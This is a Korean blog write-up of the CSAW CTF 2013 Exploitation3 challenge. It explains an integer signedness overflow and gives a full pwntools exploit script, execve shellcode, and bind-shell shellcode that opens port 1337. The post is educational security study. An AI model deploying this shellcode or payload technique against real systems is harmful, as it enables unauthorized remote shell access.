KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[CSAW CTF 2013] Exploitation3

kdhzoot 2018. 11. 10. 23:35

복잡한 쉘코드는 건너뛰고 생각하자.


코드를 따라가면서 읽다보면 대충 id와 password같은 문자열이 보인다.


csaw2013

S1mplePWD


입력하면 로그인이 되고 "Entry info: "가 뜬다.




ida로 코드를 읽어보면 


먼저 사용자가 버퍼에 입력할 entry의 길이를 입력하고


버퍼에 entry를 입력한다.



여기서 주의해야할 점은 entry의 길이가 1024미만이어야 한다는 것이다.


1
2
3
4
= (signed __int16)entry_len;
if ( (unsigned int)((signed __int16)entry_len + 1<= 1024 )
{
  v7 = recv(fd, &buf, n, 0);
cs


그런데 버퍼가 함수의 ret로 부터 0x41C 만큼 떨어져있다. 


즉, bof를 위해서는 1052보다 많이 덮어써야 하는데 입력을 1024까지만 받는다.


여기서 막혀서 못풀었다.





라업을 뒤지다보니 엄청난 방법이 있었다.


entry_len의 자료형은 int이다.


그런데 실제 recv에 들어가는 n의 자료형, 앞에서 entry_len의 값이 들어가는 n은 자료형이 size_t이다.


1
size_t n; // [esp+4C4h] [ebp-14h]
cs


size_t 자료형은 c언어에서 unsigned int 자료형과 비슷하다고 보면 된다.


그래서 entry의 길이를 -1로 입력했을 경우 entry_len이 n에 대입되는 과정에서

맨 앞 부호를 음수 처리용으로 사용하는 int값 -1 4비트가 


맨 앞 부호까지 양수 표현에만 사용하는 unsigned int에서는 엄청 큰 수로 인식되는 것이다.


따라서 1024를 넘어서 버퍼에 입력을 할 수 있게된다.


bof 가능





페이로드 구성


dump(1056) + recv_addr + bss + int:4 + bss + len(shellcode) + int:0


참고로 recv 함수는 마지막 flag 인자에 0을 넣으면 read 함수와 기능이 같아진다.




정리하자면 entry입력 함수가 종료될 때


recv(4, bss, len(shellcode), 0)  == read(4, bss, len(shellcode)) 가 실행된다.


그럼 이제 소켓으로 shellcode를 입력하면 bss영역에 쉘코드가 써진다.


recv함수가 끝난 ret위치에는 bss주소가 있으므로 shellcode가 실행된다.




exploit 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import time
 
= remote("localhost",34266)
 
print p.recvuntil(": ")
p.sendline("csaw2013")
print p.recvuntil(": ")
p.sendline("S1mplePWD")
 
to_ret = 1056
recv = 0x8048890
bss = 0x804B008
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
pay = "\x90"*to_ret
pay += p32(recv)
pay += p32(bss)
pay += p32(4)
pay += p32(bss)
pay += p32(len(shellcode))
pay += p32(0)
 
print p.recvuntil(": ")
p.sendline("-1")
p.sendline(pay)
time.sleep(1)
p.sendline(shellcode)
 
p.interactive()
cs


참고로 위와 같이 코드를 짜면 쉘이 ./fil_chal을 실행시켜둔 터미널에서 따진다.


즉, ctf에서는 서버상에서 서버가 사용할 수 있는 쉘이 따지는 것



여기서 새로운 쉘코드를 찾았다.


\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80


1337번 포트에 쉘을 여는 쉘코드이다.



쉘코드를 바꾸고 실행한뒤


nc localhost 1337 하면 쉘을 딸 수 있다.




참고로 send사이에 recv가 없으면 sleep으로 시간을 뛰었다가 전송하는 것이 좋다.



'정보보안 > CTF' 카테고리의 다른 글

[ebCTF 2013] pwn 200  (0) 2018.11.12
[CSAW CTF 2013] Exploitation4  (0) 2018.11.12
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2015] r0pbaby  (0) 2018.11.08
[DEFCON CTF 2016] xkcd  (0) 2018.11.07